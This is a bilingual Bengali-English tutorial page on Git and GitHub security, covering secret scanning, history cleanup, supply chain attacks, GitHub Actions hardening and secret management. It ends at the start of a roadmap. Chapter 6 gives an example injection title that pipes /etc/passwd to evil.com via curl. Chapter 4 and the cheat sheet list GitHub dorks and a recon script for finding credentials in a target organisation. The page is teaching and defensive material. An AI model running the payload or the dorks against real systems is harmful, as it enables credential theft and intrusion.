🔐

Git & GitHub Security

Secret Leak, Supply Chain Attack ও Secure Workflow — সম্পূর্ণ বাংলা গাইডSecret Leaks, Supply Chain Attacks & Secure Workflow — Complete Guide

Git History থেকে API Key বের করা, Repo Scanning, Secret Management, GitHub Actions Security, Supply Chain Attack — Git ও GitHub Security-র সব কিছু এক জায়গায়।Extracting API Keys from Git history, Repo Scanning, Secret Management, GitHub Actions Security, Supply Chain Attacks — everything about Git and GitHub Security in one place.

researcher@kali:~# trufflehog github --repo https://github.com/target/app
🐷 TruffleHog. Sniffing out secrets...
Found API_KEY: sk-prod-Abc123XYZ... in commit a3f8b2c
Detector: OpenAI | Verified: true ✓
🔍 Secret Scanning 📜 Git History Attack 🏭 Supply Chain ⚙️ GitHub Actions 🔑 Secret Management 🛡️ Branch Protection 🤖 Dependabot 📋 Cheat Sheet
📋 বিষয়সূচিTable of Contents
০১ Git Security পরিচিতিIntroduction
Git কীভাবে কাজ করে, Security risks, Real-world incidentsHow Git works, Security risks, Real-world incidents
০২ Secret Leak — সবচেয়ে বড় সমস্যাThe Biggest Problem
কোন কোন জিনিস leak হয়, কীভাবে ঘটেWhat leaks, how it happens
API Keys, Passwords, Tokens, Private Keys, .env files
০৩ Git History Scanning — পুরনো commit-এ কী আছে?What's in Old Commits?
TruffleHog, Gitleaks, git-secrets, GitGuardian
Manual git log analysis, Deleted file recoveryManual git log analysis, Deleted file recovery
০৪ GitHub Recon — OSINT থেকে AttackOSINT to Attack
GitHub Dorking, Exposed repos, Fork analysis
Organization enumeration, Gist secrets
০৫ Supply Chain Attack
Dependency confusion, Typosquatting, Malicious package
SolarWinds, XZ Utils — বিখ্যাত incidentFamous incidents
০৬ GitHub Actions Security
CI/CD injection, Secrets in logs, Poisoned pipeline
Secure Actions workflow লেখার নিয়মRules for writing secure Actions workflows
০৭ Secret Management — সঠিক পদ্ধতিThe Right Way
.gitignore, pre-commit hooks, GitHub Secrets
HashiCorp Vault, AWS Secrets Manager, Doppler
০৮ Repository Hardening
Branch protection, Signed commits, 2FA, CODEOWNERS
Dependabot, CodeQL, Security advisories
০৯ Cheat Sheet & Roadmap
সব গুরুত্বপূর্ণ কমান্ড ও শেখার পথAll important commands and the learning path
CHAPTER 01
🔐 Git & GitHub Security পরিচিতিIntroduction
Code-এ security কেন গুরুত্বপূর্ণ — Real-world incidentsWhy security matters in code — Real-world incidents

Git Security কেন গুরুত্বপূর্ণ?Why is Git Security Important?

Git হলো বিশ্বের সবচেয়ে ব্যবহৃত version control system, আর GitHub-এ ১০০+ মিলিয়ন repository আছে। প্রতিদিন হাজার হাজার developer ভুলবশত API key, password, database credential commit করছেন — এবং attacker-রা automated tool দিয়ে সেকেন্ডের মধ্যে এগুলো খুঁজে বের করছে।Git is the world's most used version control system, and GitHub has 100+ million repositories. Every day, thousands of developers accidentally commit API keys, passwords, and database credentials — and attackers find them within seconds using automated tools.

Real-World Incidents — শিক্ষামূলক উদাহরণReal-World Incidents — Educational Examples

💥 বিখ্যাত Git Security IncidentsFamous Git Security Incidents

  • Uber (2022)Private repo-তে hardcoded AWS key → $100M data breachHardcoded AWS key in private repo → $100M data breach
  • Samsung (2023)Galaxy source code + secret keys GitHub-এ exposeGalaxy source code + secret keys exposed on GitHub
  • Toyota (2023)Git repo-তে access key → 296,000 customer dataAccess key in Git repo → 296,000 customer records
  • Twitch (2021)Source code leak + internal credentialsSource code leak + internal credentials
  • SolarWinds (2020)Supply chain attack → 18,000 organizations compromisedSupply chain attack → 18,000 organizations compromised

📊 পরিসংখ্যানStatistics

  • GitHub-এ প্রতি সেকেন্ডে ~৩ টি secret commit হয়~3 secrets are committed to GitHub every second
  • ২০২৩ সালে ১২.৮ মিলিয়ন secret detected12.8 million secrets detected in 2023
  • ৮০% publicly exposed secret ৪ ঘণ্টার মধ্যে exploit হয়80% of publicly exposed secrets are exploited within 4 hours
  • Public repo delete করলেও Fork-এ থাকতে পারেEven after deleting a public repo, it may remain in Forks
  • Git history-তে "deleted" file এখনো accessible"Deleted" files in Git history are still accessible

Git কীভাবে কাজ করে — Security দৃষ্টিকোণেHow Git Works — Security Perspective

Git Object Model — সব কিছু stored, কিছুই হারায় না!

Working Dir → Staging Area → Local Repo (.git/) → Remote (GitHub)
     │              │               │                    │
  ফাইল এখানে    git add করে    commit = permanent!   push করলে
  সম্পাদনা      staging-এ      SHA hash দিয়ে        publicly visible
                রাখো           identify হয়

⚠️  secret commit করলে → git rm করলেও history-তে থাকে!
⚠️  force push করলেও → GitHub cache-এ থাকতে পারে!
✅  সমাধান: git filter-branch / BFG Repo Cleaner
✅  সমাধান: Secret immediately rotate করো!

🔐 মূল কথাKey Points

  • Git history-তে commit করা কিছু permanently stored থাকেAnything committed to Git history is permanently stored
  • Secret commit হয়ে গেলে → সাথে সাথে rotate করো, delete যথেষ্ট নয়If a secret is committed → rotate immediately, deletion isn't enough
  • Attacker-রা automated tool দিয়ে সেকেন্ডে secret খোঁজেAttackers find secrets within seconds using automated tools
  • ✅ Supply Chain → তোমার dependency-ও attack vector হতে পারেYour dependencies can also be an attack vector
CHAPTER 02
💀 Secret Leak — সবচেয়ে বড় সমস্যাThe Biggest Problem
কী leak হয়, কীভাবে ঘটে, কী পরিণতি হয়What leaks, how it happens, what the consequences are

কোন কোন জিনিস Leak হয়?What Kinds of Things Leak?

🔑
API Keys

AWS, OpenAI, Stripe, Twilio, Google API keys — সবচেয়ে বেশি পাওয়া যায়।AWS, OpenAI, Stripe, Twilio, Google API keys — most commonly found.

Financial loss CRITICAL
🗄️
Database Credentials

MySQL, PostgreSQL, MongoDB password, connection strings।MySQL, PostgreSQL, MongoDB passwords, connection strings.

Data breach CRITICAL
🔒
Private Keys

SSH private key, RSA key, TLS certificate private key।SSH private key, RSA key, TLS certificate private key.

Server access CRITICAL
🎫
Auth Tokens

GitHub token, Slack token, OAuth token, JWT secret।GitHub token, Slack token, OAuth token, JWT secret.

Account takeover HIGH
📄
.env Files

.env, config.yml, settings.py — সব secret এক জায়গায়।.env, config.yml, settings.py — all secrets in one place.

Mass exposure CRITICAL
☁️
Cloud Credentials

AWS access key, GCP service account, Azure connection string।AWS access key, GCP service account, Azure connection string.

Cloud takeover CRITICAL

কীভাবে Secret Leak হয়?How Do Secrets Leak?

# ১. সরাসরি hardcode করা — সবচেয়ে সাধারণ ভুল AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE" DB_PASSWORD = "SuperSecret123!" api_key = "sk-prod-abc123xyz" # ২. .env file commit করা git add .env # ❌ কখনো করো না! # .gitignore-এ .env না থাকলে সহজেই commit হয় # ৩. Config file-এ database: host: prod-db.company.com password: "MyProductionPassword" # ৪. Comment-এ # Old key: AKIAIOSFODNN7EXAMPLE (do not use) # Comment delete করলেও history-তে থাকে! # ৫. Log output-এ print(f"Connecting with key: {api_key}") # Debug code commit করা # ৬. Test file-এ def test_api(): key = "real-production-key-123" # Copy paste থেকে

Secret Leak হলে কী করবে?What to Do If a Secret Leaks?

🚨 Emergency Response — এই ক্রমে করো!Emergency Response — Do This in Order!
  1. সাথে সাথে Rotate করোRotate ImmediatelyAWS Console / API provider-এ গিয়ে key revoke করোGo to AWS Console / API provider and revoke the key
  2. Audit করোAuditকে কে এই key ব্যবহার করেছে? CloudTrail / Access Log দেখোWho used this key? Check CloudTrail / Access Log
  3. History Clean করোClean History — BFG Repo Cleaner দিয়ে commit-এ থাকা secret মুছো
  4. Notify করোNotifySecurity team ও affected users-কে জানাওInform your security team and affected users
# BFG Repo Cleaner — Git History থেকে secret মুছো # Download: https://rtyley.github.io/bfg-repo-cleaner/ # Secret string ধারণকারী সব commit মুছো: java -jar bfg.jar --replace-text passwords.txt my-repo.git # passwords.txt-এ: AKIAIOSFODNN7EXAMPLE (একটি প্রতি লাইন) # নির্দিষ্ট file remove করো: java -jar bfg.jar --delete-files .env my-repo.git java -jar bfg.jar --delete-files id_rsa my-repo.git # তারপর cleanup: cd my-repo.git git reflog expire --expire=now --all git gc --prune=now --aggressive git push --force # git filter-branch (traditional, ধীর): git filter-branch --force --index-filter \ "git rm --cached --ignore-unmatch path/to/secret_file" \ --prune-empty --tag-name-filter cat -- --all

💀 Secret Leak মনে রাখোRemember

  • API key, password কখনো code-এ লিখবে নাNever write API keys or passwords in code
  • Leak হলে প্রথমে Rotate করো, তারপর History clean করোIf leaked, first Rotate, then clean History
  • ✅ BFG Repo Cleaner → সহজ ও দ্রুত History cleanerEasy and fast History cleaner
  • Public repo-তে একবার push হলে assume করো compromisedOnce pushed to a public repo, assume it's compromised
CHAPTER 03
🔍 Git History Scanning
TruffleHog, Gitleaks দিয়ে পুরনো commit-এ লুকানো secret খোঁজোFind hidden secrets in old commits with TruffleHog and Gitleaks

TruffleHog — সবচেয়ে শক্তিশালী Secret ScannerThe Most Powerful Secret Scanner

# Install: pip3 install truffleHog3 # অথবা: curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin ══ Local Repo Scan ══ trufflehog git file://./my-repo # Local repo trufflehog git file://./my-repo --only-verified # শুধু verified secrets trufflehog git file://./my-repo --since-commit HEAD~100 # শেষ ১০০ commit ══ GitHub Repo Scan ══ trufflehog github --repo https://github.com/target/app trufflehog github --org targetorg # পুরো organization! ══ Filesystem Scan ══ trufflehog filesystem /path/to/scan trufflehog filesystem . --json # JSON output ══ S3 / GCS Scan ══ trufflehog s3 --bucket my-bucket trufflehog gcs --project my-project --bucket my-bucket # Output example: 🐷 TruffleHog. Sniffing out secrets... Found verified secret! Detector Type: AWS Raw: AKIAIOSFODNN7EXAMPLE Commit: a3f8b2c File: config/database.yml Line: 15

Gitleaks — Fast ও ConfigurableFast & Configurable

# Install: sudo apt install gitleaks # অথবা: brew install gitleaks ══ Basic Scan ══ gitleaks detect --source . # Current dir gitleaks detect --source . --verbose # বিস্তারিত gitleaks detect --source . -f json -r report.json # JSON report gitleaks detect --source . --no-git # Git ছাড়া scan ══ Specific Branch/Commit ══ gitleaks detect --log-opts="HEAD~10..HEAD" # শেষ ১০ commit gitleaks detect --log-opts="main..feature" # Branch diff ══ Pre-commit hook হিসেবে ══ gitleaks protect --staged # Staged file check ══ Custom Rules ══ # .gitleaks.toml file তৈরি করো: [[rules]] id = "my-company-token" description = "My Company Internal Token" regex = '''MYCO-[0-9a-zA-Z]{32}''' tags = ["key", "company"]

Manual Git History AnalysisManual Git History Analysis

# Git log দিয়ে sensitive file খোঁজো: git log --all --full-history -- "**/.env" git log --all --full-history -- "**/config*" git log --all --full-history -- "**/*secret*" git log --all --full-history -- "**/id_rsa" git log --all --full-history -- "**/*.pem" # নির্দিষ্ট string আছে এমন commit খোঁজো: git log --all -S "password" # "password" add/remove করা commit git log --all -S "SECRET_KEY" git log --all --grep="password" # Commit message-এ # পুরনো commit-এ কী ছিল দেখো: git show COMMIT_HASH:path/to/file git show a3f8b2c:config/database.yml # Deleted file recover করো: git log --all --diff-filter=D -- "*/.env" # Delete করা .env খোঁজো git show COMMIT_HASH^:path/to/deleted_file # Delete করার আগের version # সব branch-এ search: git grep "API_KEY" $(git rev-list --all) # সব commit-এ grep git grep -i "password" HEAD~100..HEAD # শেষ ১০০ commit

Other Tools

# git-secrets (AWS Labs) — pre-commit hook brew install git-secrets git secrets --install # repo-তে install git secrets --register-aws # AWS pattern register git secrets --scan # Manual scan git secrets --scan-history # History scan # detect-secrets (Yelp) pip3 install detect-secrets detect-secrets scan > .secrets.baseline # Baseline তৈরি detect-secrets audit .secrets.baseline # Review করো # GitGuardian (SaaS) — Real-time monitoring # https://dashboard.gitguardian.com # GitHub App হিসেবে install করো → সব push monitor করবে pip3 install ggshield ggshield secret scan repo . ggshield secret scan pre-commit # Pre-commit hook

🔍 Git Scanning মনে রাখোRemember

  • ✅ TruffleHog → Verified secrets, সবচেয়ে accurateVerified secrets, most accurate
  • ✅ Gitleaks → দ্রুত, CI/CD-এ ব্যবহার করোFast, use in CI/CD
  • git log --all -S "password"Manual searchManual search
  • ✅ GitGuardian → Real-time monitoring, free for public reposReal-time monitoring, free for public repos
CHAPTER 04
🕵️ GitHub Recon — OSINT
GitHub দিয়ে target সম্পর্কে তথ্য সংগ্রহGathering information about a target through GitHub

GitHub Dorking — Advanced SearchAdvanced Search

# GitHub Search Operators: # https://github.com/search?q=QUERY&type=code ══ Secret খোঁজার Dorks ══ org:targetcompany "api_key" org:targetcompany "secret_key" org:targetcompany "password" extension:env org:targetcompany "AWS_ACCESS_KEY_ID" org:targetcompany "PRIVATE_KEY" filename:.env org:targetcompany filename:.env DB_PASSWORD org:targetcompany language:python "import boto3" "aws_access_key" ══ Config File খোঁজা ══ org:targetcompany filename:config.yml org:targetcompany filename:.npmrc _authToken org:targetcompany filename:wp-config.php org:targetcompany filename:settings.py SECRET_KEY org:targetcompany filename:Dockerfile password ══ Credential খোঁজা ══ org:targetcompany "BEGIN RSA PRIVATE KEY" org:targetcompany "BEGIN OPENSSH PRIVATE KEY" org:targetcompany smtp password org:targetcompany "jdbc:mysql" password ══ Internal Info খোঁজা ══ org:targetcompany "internal use only" org:targetcompany "do not share" org:targetcompany filename:*.sql dump org:targetcompany "192.168." OR "10.0." OR "172.16." # Internal IPs

GitHub API — Automated ReconAutomated Recon

# GitHub API দিয়ে automated search: # Organization-এর সব repo: curl -H "Authorization: token YOUR_GITHUB_TOKEN" \ "https://api.github.com/orgs/targetorg/repos?per_page=100" # Code search: curl -H "Authorization: token YOUR_GITHUB_TOKEN" \ "https://api.github.com/search/code?q=password+org:targetorg" # User-এর সব repo: curl "https://api.github.com/users/targetuser/repos?per_page=100" # Python দিয়ে automated recon: import requests TOKEN = "YOUR_GITHUB_TOKEN" ORG = "targetorg" headers = {"Authorization": f"token {TOKEN}"} # সব repo list করো resp = requests.get(f"https://api.github.com/orgs/{ORG}/repos", headers=headers) repos = [r['name'] for r in resp.json()] print(f"Found {len(repos)} repos") # Secret search: for keyword in ["password", "api_key", "secret"]: url = f"https://api.github.com/search/code?q={keyword}+org:{ORG}" r = requests.get(url, headers=headers) items = r.json().get('items', []) print(f"{keyword}: {len(items)} results")

Gist ও Fork — লুকানো তথ্যের উৎস& Forks — Hidden Information Sources

# GitHub Gist — প্রায়ই sensitive info থাকে # https://gist.github.com/search?q=target+password # Gist-এ API key খোঁজো: # https://gist.github.com/search?q=AWS_ACCESS_KEY_ID # Fork-এ Deleted Secret থাকতে পারে! # Original repo-তে delete করলেও Fork-এ থাকে # GitHub Network Graph দেখো: repo/network/members # gitrob — Organization recon tool: gitrob analyze targetorg --github-access-token TOKEN # gh-dork — GitHub dork automation: pip3 install gh-dork gh-dork -o targetorg -df dorks.txt # Dork file থেকে # Commit author email harvest: git log --format="%ae" | sort -u # সব committer email # → Internal email address, username reveal হতে পারে

🕵️ GitHub Recon মনে রাখোRemember

  • ✅ GitHub Search → org:target filename:.envশুরু করোStart here
  • ✅ Gist → প্রায়ই API key, token থাকেOften contains API keys, tokens
  • ✅ Fork → Original-এ delete হলেও Fork-এ থাকেEven if deleted from the original, it remains in Forks
  • Rate limit এড়াতে GitHub Token ব্যবহার করোUse a GitHub Token to avoid rate limits
CHAPTER 05
🏭 Supply Chain Attack
Dependency-এর মাধ্যমে আক্রমণ — সবচেয়ে বিপজ্জনক নতুন threatAttacks through dependencies — the most dangerous emerging threat

Supply Chain Attack কী?What is a Supply Chain Attack?

তোমার code-এ সরাসরি attack না করে, তোমার ব্যবহৃত library/dependency-কে compromise করা হয়। তুমি trusted package install করো, কিন্তু সেটার ভেতরে malicious code থাকে।Instead of attacking your code directly, the library/dependency you use is compromised. You install a trusted package, but it contains malicious code inside.

💥 বিখ্যাত IncidentsFamous Incidents

  • SolarWinds (2020)Build process compromise → 18,000 orgBuild process compromised → 18,000 orgs
  • XZ Utils (2024)Backdoor in compression library, SSH impactBackdoor in compression library, SSH impact
  • event-stream (2018)npm package-এ malicious code → Bitcoin theftMalicious code in npm package → Bitcoin theft
  • Colors.js (2022)Maintainer intentionally broke packageMaintainer intentionally broke package
  • PyPI attacksTyposquatting দিয়ে credential theftCredential theft via typosquatting

🎯 Attack TypesAttack Types

  • Typosquattingনামের ভুল: reqeusts vs requestsName typo: reqeusts vs requests
  • Dependency ConfusionInternal package name নিয়ে public-এInternal package name used publicly
  • Account TakeoverMaintainer account hackMaintainer account hacked
  • Malicious PRBackdoor PR merge করানোGetting a backdoor PR merged
  • CI/CD CompromiseBuild pipeline-এ attackAttack on build pipeline

Dependency Confusion Attack

# কীভাবে কাজ করে: # কোম্পানির internal package: @company/internal-utils (private registry) # Attacker public npm-এ: @company/internal-utils upload করে higher version দিয়ে # npm সবসময় highest version নেয় → Attacker-এর package install হয়! # Check করো: npm audit # Known vulnerabilities npm audit --audit-level=high # High ও Critical pip audit # Python # Package integrity verify করো: npm ci --ignore-scripts # Script execution বন্ধ pip install --require-hashes -r requirements.txt # Hash verify # Typosquatting detect: # pip install requests → OK # pip install reqeusts → Typosquat! # Popular typosquatting tools: # pip install orsquat → requests check করে twistd -t pypi requests # Typosquat list

SBOM — Dependency List তৈরি করোCreate a Dependency List

# SBOM (Software Bill of Materials) — কোন package কোন version # Python: pip freeze > requirements.txt # সব dependency lock pip-audit -r requirements.txt # Vulnerability check # Node.js: npm ci # package-lock.json থেকে exact install npm audit fix # Auto fix # Syft — SBOM generator: syft dir:. -o spdx-json > sbom.json syft docker.io/nginx:latest # Grype — Vulnerability scanner: grype dir:. # Local scan grype sbom:sbom.json # SBOM থেকে # OSV-Scanner (Google): osv-scanner -r . # Recursive scan

🏭 Supply Chain মনে রাখোRemember

  • Package install করার আগে author, download count, creation date দেখোBefore installing a package, check author, download count, creation date
  • npm audit / pip auditনিয়মিত চালাওRun regularly
  • npm cilockfile থেকে exact install, safer than npm installExact install from lockfile, safer than npm install
  • ✅ Dependabot → GitHub-এ auto vulnerability alert চালু করোEnable auto vulnerability alerts on GitHub
CHAPTER 06
⚙️ GitHub Actions Security
CI/CD Pipeline-এর Security — Injection, Secret Leak, Poisoned PipelineCI/CD Pipeline Security — Injection, Secret Leak, Poisoned Pipeline

GitHub Actions Attack SurfacesAttack Surfaces

# ১. Command Injection — PR title/body থেকে # ❌ ভুল — Injection vulnerable: - name: Echo PR title run: echo "${{ github.event.pull_request.title }}" # Attacker PR title: "; curl http://evil.com/$(cat /etc/passwd) #" # ✅ সঠিক — Environment variable দিয়ে: - name: Echo PR title env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "$PR_TITLE" # ২. Secret-এ env variable — Log-এ দেখা যাবে না # ❌ ভুল — Secret expose: - run: echo "API_KEY=${{ secrets.API_KEY }}" # Log-এ দেখা যাবে! # ✅ সঠিক: - run: do-something env: API_KEY: ${{ secrets.API_KEY }} # Environment-এ pass করো # ৩. Third-party Action — Compromised হতে পারে # ❌ ভুল — Tag দিয়ে (tag update হতে পারে): uses: actions/checkout@v4 # ✅ সঠিক — Commit SHA দিয়ে (immutable): uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Secure GitHub Actions WorkflowSecure GitHub Actions Workflow

# .github/workflows/secure.yml — সঠিক উদাহরণ name: Secure CI Pipeline on: pull_request: branches: [main] push: branches: [main] # Minimum permissions! permissions: contents: read # শুধু read pull-requests: write # PR comment-এর জন্য jobs: security-scan: runs-on: ubuntu-latest # Timeout দাও timeout-minutes: 30 steps: # SHA দিয়ে pin করো - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 with: persist-credentials: false # Credential cache না # Secret scan - name: Run Gitleaks uses: gitleaks/gitleaks-action@v2 # Dependency audit - name: Audit dependencies run: pip audit -r requirements.txt # SAST scan - name: Run Bandit (Python SAST) run: | pip install bandit bandit -r . -f json -o bandit-report.json # Secret environment-এ pass করো - name: Deploy env: API_KEY: ${{ secrets.API_KEY }} DB_URL: ${{ secrets.DATABASE_URL }} run: ./deploy.sh

Poisoned Pipeline Execution (PPE)

# PPE: PR থেকে malicious code CI/CD-এ চলানো # Vulnerable: pull_request_target + checkout PR code on: pull_request_target # ❌ secrets access আছে! steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ❌ Attacker code! # ✅ Safe pattern: on: pull_request # secrets নেই # অথবা pull_request_target + env file (checkout ছাড়া) # OIDC দিয়ে short-lived credentials: - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::ACCOUNT:role/github-role aws-region: us-east-1 # Static key লাগে না! OIDC token দিয়ে temporary credential # Environment protection rules: # Settings → Environments → production → Required reviewers # → Deployment secrets শুধু approved হলে accessible

⚙️ Actions Security মনে রাখোRemember

  • Third-party Action → Commit SHA দিয়ে pin করোThird-party Actions → Pin with commit SHA
  • permissions: contents: readMinimum permission দাওGive minimum permissions
  • User input → env variable দিয়ে pass করো, সরাসরি নাUser input → pass via env variable, not directly
  • ✅ OIDC → Static secret-এর বদলে temporary credential ব্যবহার করোUse temporary credentials instead of static secrets
CHAPTER 07
🔑 Secret Management
Secret কোথায় রাখবে, কীভাবে রাখবে — সঠিক পদ্ধতিWhere and how to store secrets — the right way

.gitignore — প্রথম রক্ষাFirst Line of Defense

# .gitignore — এগুলো সবসময় add করো: # Environment files .env .env.* .env.local .env.production !.env.example # Example file OK করো # Keys & credentials *.pem *.key *.p12 *.pfx id_rsa id_rsa.pub *.pub *.ppk # Config files config.secret.yml secrets.yml credentials.json service-account.json *credentials* *secret* # Cloud .aws/credentials .gcp/ *.tfvars # Terraform variables terraform.tfstate # Database *.sql *.dump # ইতিমধ্যে tracked file-এ .gitignore কাজ করবে না! # Untrack করো: git rm --cached .env git rm --cached config/secrets.yml git commit -m "Remove tracked secrets"

Pre-commit Hooks — Commit-এর আগে চেকCheck Before Commit

# pre-commit framework: https://pre-commit.com pip install pre-commit # .pre-commit-config.yaml তৈরি করো: repos: - repo: https://github.com/gitleaks/gitleaks rev: v8.18.4 hooks: - id: gitleaks - repo: https://github.com/pre-commit/pre-commit-hooks rev: v4.5.0 hooks: - id: detect-private-key # Private key detect - id: check-added-large-files # বড় file (dump হতে পারে) - id: check-merge-conflict - id: trailing-whitespace - repo: https://github.com/Yelp/detect-secrets rev: v1.4.0 hooks: - id: detect-secrets args: ['--baseline', '.secrets.baseline'] # Install করো: pre-commit install # git hook হিসেবে install pre-commit run --all-files # Manual run

Secret Store — কোথায় রাখবে?Secret Stores — Where to Keep Them?

পদ্ধতিMethodকোথায়Whereভালো দিকProsখারাপ দিকConsউপযুক্তBest For
GitHub SecretsSettings → Secretsসহজ, freeEasy, freeGitHub-এ tiedTied to GitHubCI/CD
HashiCorp VaultSelf-hostedEnterprise-gradeEnterprise-gradeComplex setupComplex setupProduction
AWS Secrets ManagerAWS CloudAuto-rotateAuto-rotateAWS-এ tied, costAWS-tied, costAWS apps
DopplerSaaSসহজ, syncEasy, syncThird-partyStartups
.env (local only)LocalসহজSimpleShare করা কঠিনHard to shareDevelopment

GitHub Secrets — সঠিক ব্যবহারCorrect Usage

# GitHub Secrets সেট করো: # Settings → Secrets and variables → Actions → New secret # CLI দিয়ে (GitHub CLI): gh secret set API_KEY --body "sk-prod-abc123" gh secret set DB_PASSWORD < password.txt gh secret list # Secret list # Environment-specific secrets: gh secret set DEPLOY_KEY --env production gh secret set STAGING_KEY --env staging # Workflow-এ ব্যবহার: jobs: deploy: environment: production # Environment protection steps: - run: deploy.sh env: API_KEY: ${{ secrets.API_KEY }} DB_URL: ${{ secrets.DATABASE_URL }} # ✓ Log-এ *** হিসেবে দেখাবে # ✓ Fork PR-এ accessible নয় # AWS OIDC (Static key ছাড়া): # aws configure oidc provider: jobs: deploy: permissions: id-token: write contents: read steps: - uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789:role/GitHubRole aws-region: us-east-1 - run: aws s3 ls # Temporary credential!

🔑 Secret Management মনে রাখোRemember

  • .gitignoreপ্রতিটি project-এ .env যোগ করোAdd .env to every project
  • ✅ pre-commit → Gitleaks hook → commit-এর আগে scanScan before commit
  • ✅ GitHub Secrets → CI/CD-এ hardcode করো নাDon't hardcode in CI/CD
  • ✅ OIDC → AWS/GCP-তে static key-এর বদলে ব্যবহার করোUse instead of static AWS/GCP keys
CHAPTER 08
🛡️ Repository Hardening
Branch protection, Signed commits, Dependabot — Repo secure করোBranch protection, Signed commits, Dependabot — Secure your repo

Branch Protection Rules

# GitHub → Settings → Branches → Add branch protection rule # main branch-এর জন্য: ✓ Require a pull request before merging ✓ Required number of approvals: 2 ✓ Dismiss stale pull request approvals when new commits are pushed ✓ Require review from Code Owners ✓ Require status checks to pass before merging ✓ Require branches to be up to date before merging ✓ Status checks: ci/test, security/scan ✓ Require conversation resolution before merging ✓ Require signed commits # GPG signed! ✓ Require linear history # No merge commits ✓ Do not allow bypassing the above settings ✓ Restrict who can push to matching branches # CLI দিয়ে (gh CLI): gh api repos/:owner/:repo/branches/main/protection \ -X PUT \ -f required_status_checks='{"strict":true,"contexts":["ci"]}' \ -f enforce_admins=true \ -f required_pull_request_reviews='{"required_approving_review_count":2}'

Signed Commits — Commit-এর পরিচয় নিশ্চিত করোVerify Commit Identity

# GPG Key দিয়ে commit sign করো # GPG key তৈরি: gpg --full-generate-key # RSA 4096 বেছে নাও gpg --list-secret-keys --keyid-format=long # Git-এ configure করো: git config --global user.signingkey YOUR_GPG_KEY_ID git config --global commit.gpgsign true # Auto-sign # Public key → GitHub-এ add: gpg --armor --export YOUR_GPG_KEY_ID # Settings → SSH and GPG keys → New GPG key # Signed commit করো: git commit -S -m "feat: secure update" # Manual sign git log --show-signature # Verify # SSH Key দিয়ে sign (modern approach): git config --global gpg.format ssh git config --global user.signingkey ~/.ssh/id_ed25519.pub git config --global commit.gpgsign true

Dependabot — Auto Vulnerability FixAuto Vulnerability Fix

# .github/dependabot.yml: version: 2 updates: # Python dependencies - package-ecosystem: "pip" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 10 reviewers: - "security-team" labels: - "security" - "dependencies" # Node.js dependencies - package-ecosystem: "npm" directory: "/" schedule: interval: "daily" # Security patch দ্রুত # GitHub Actions - package-ecosystem: "github-actions" directory: "/" schedule: interval: "weekly" # Dependabot alerts চালু: # Settings → Security → Dependabot → Enable all

CodeQL — Automated Code AnalysisAutomated Code Analysis

# .github/workflows/codeql.yml: name: CodeQL Security Analysis on: push: branches: [main] pull_request: branches: [main] schedule: - cron: '0 2 * * 1' # Weekly scan jobs: analyze: runs-on: ubuntu-latest permissions: security-events: write contents: read strategy: matrix: language: ['python', 'javascript'] steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - uses: github/codeql-action/init@v3 with: languages: ${{ matrix.language }} queries: security-extended # বেশি rules - uses: github/codeql-action/autobuild@v3 - uses: github/codeql-action/analyze@v3 # CODEOWNERS file: # .github/CODEOWNERS: * @org/security-team # সব file *.yml @org/devops-team src/auth/ @org/security-team @org/backend infrastructure/ @org/devops-team

Security Checklist

Repo Security ChecklistRepo Security Checklist

  • Branch protection rules চালু
  • Signed commits require করো
  • 2FA সব contributor-এর জন্য enforce
  • CODEOWNERS file আছে
  • Dependabot চালু
  • CodeQL চালু
  • Secret scanning চালু
  • .gitignore ঠিকঠাক
  • pre-commit hooks active
  • Actions permission minimum

যা করবে নাNever Do

  • Secret code-এ hardcode করা
  • .env commit করা
  • Admin-এ force push allow করা
  • Third-party Action trust করা (SHA pin ছাড়া)
  • pull_request_target-এ PR code checkout
  • Self-hosted runner-এ untrusted code
  • Public repo-তে internal info
  • Static cloud credentials in Actions

🛡️ Hardening মনে রাখোRemember

  • ✅ Branch Protection → PR required, Status check, Signed commits
  • ✅ Dependabot → Auto vulnerability PR তৈরি করেAuto creates vulnerability PRs
  • ✅ CodeQL → Free SAST tool, GitHub-এ built-inFree SAST tool, built into GitHub
  • ✅ CODEOWNERS → Sensitive path-এ auto reviewer addAuto adds reviewers to sensitive paths
CHAPTER 09
📋 Cheat Sheet & Roadmap
সব গুরুত্বপূর্ণ কমান্ড ও Git Security শেখার পথAll important commands and the Git Security learning path

🔍 Secret Scanning Cheat Sheet

🐷 TruffleHog
trufflehog git file://./repoLocal repo scanLocal repo scan
trufflehog git file://. --only-verifiedVerified onlyVerified only
trufflehog github --repo URLRemote repoRemote repo
trufflehog github --org ORGWhole orgWhole org
trufflehog filesystem /pathFile system scanFile system scan
🔏 Gitleaks
gitleaks detect --source .Detect secretsDetect secrets
gitleaks detect -f json -r report.jsonJSON report
gitleaks protect --stagedPre-commit check
gitleaks detect --log-opts="HEAD~10..HEAD"Last 10 commitsLast 10 commits
gitleaks detect --verboseVerbose outputVerbose output
📜 Git Manual
git log --all -S "password"Password-এ searchSearch for "password"
git log --all --full-history -- **/.env.env file history.env file history
git show HASH:path/to/fileOld version দেখোSee old version
git grep "API_KEY" $(git rev-list --all)All commits grepAll commits grep
git log --format="%ae" | sort -uCommitter emailsCommitter emails
🧹 History Clean
java -jar bfg.jar --delete-files .env repo.git.env মুছোDelete .env
java -jar bfg.jar --replace-text passwords.txt repo.gitString replaceString replace
git gc --prune=now --aggressiveCleanupCleanup
git push --force --allForce pushForce push
git rm --cached .envUntrack .envUntrack .env

🔎 GitHub Dork Quick Reference

# github.com/search?q=QUERY&type=code org:TARGET filename:.env org:TARGET "aws_access_key_id" org:TARGET "BEGIN RSA PRIVATE KEY" org:TARGET password extension:yml org:TARGET "DB_PASSWORD" filename:.env org:TARGET "SECRET_KEY" language:python org:TARGET filename:wp-config.php org:TARGET "-----BEGIN" extension:pem user:USERNAME "api_key"

🗺️ Git Security Roadmap

1
🔰 Phase 1 — ভিত্তিPhase 1 — Foundation 1 সপ্তাহ
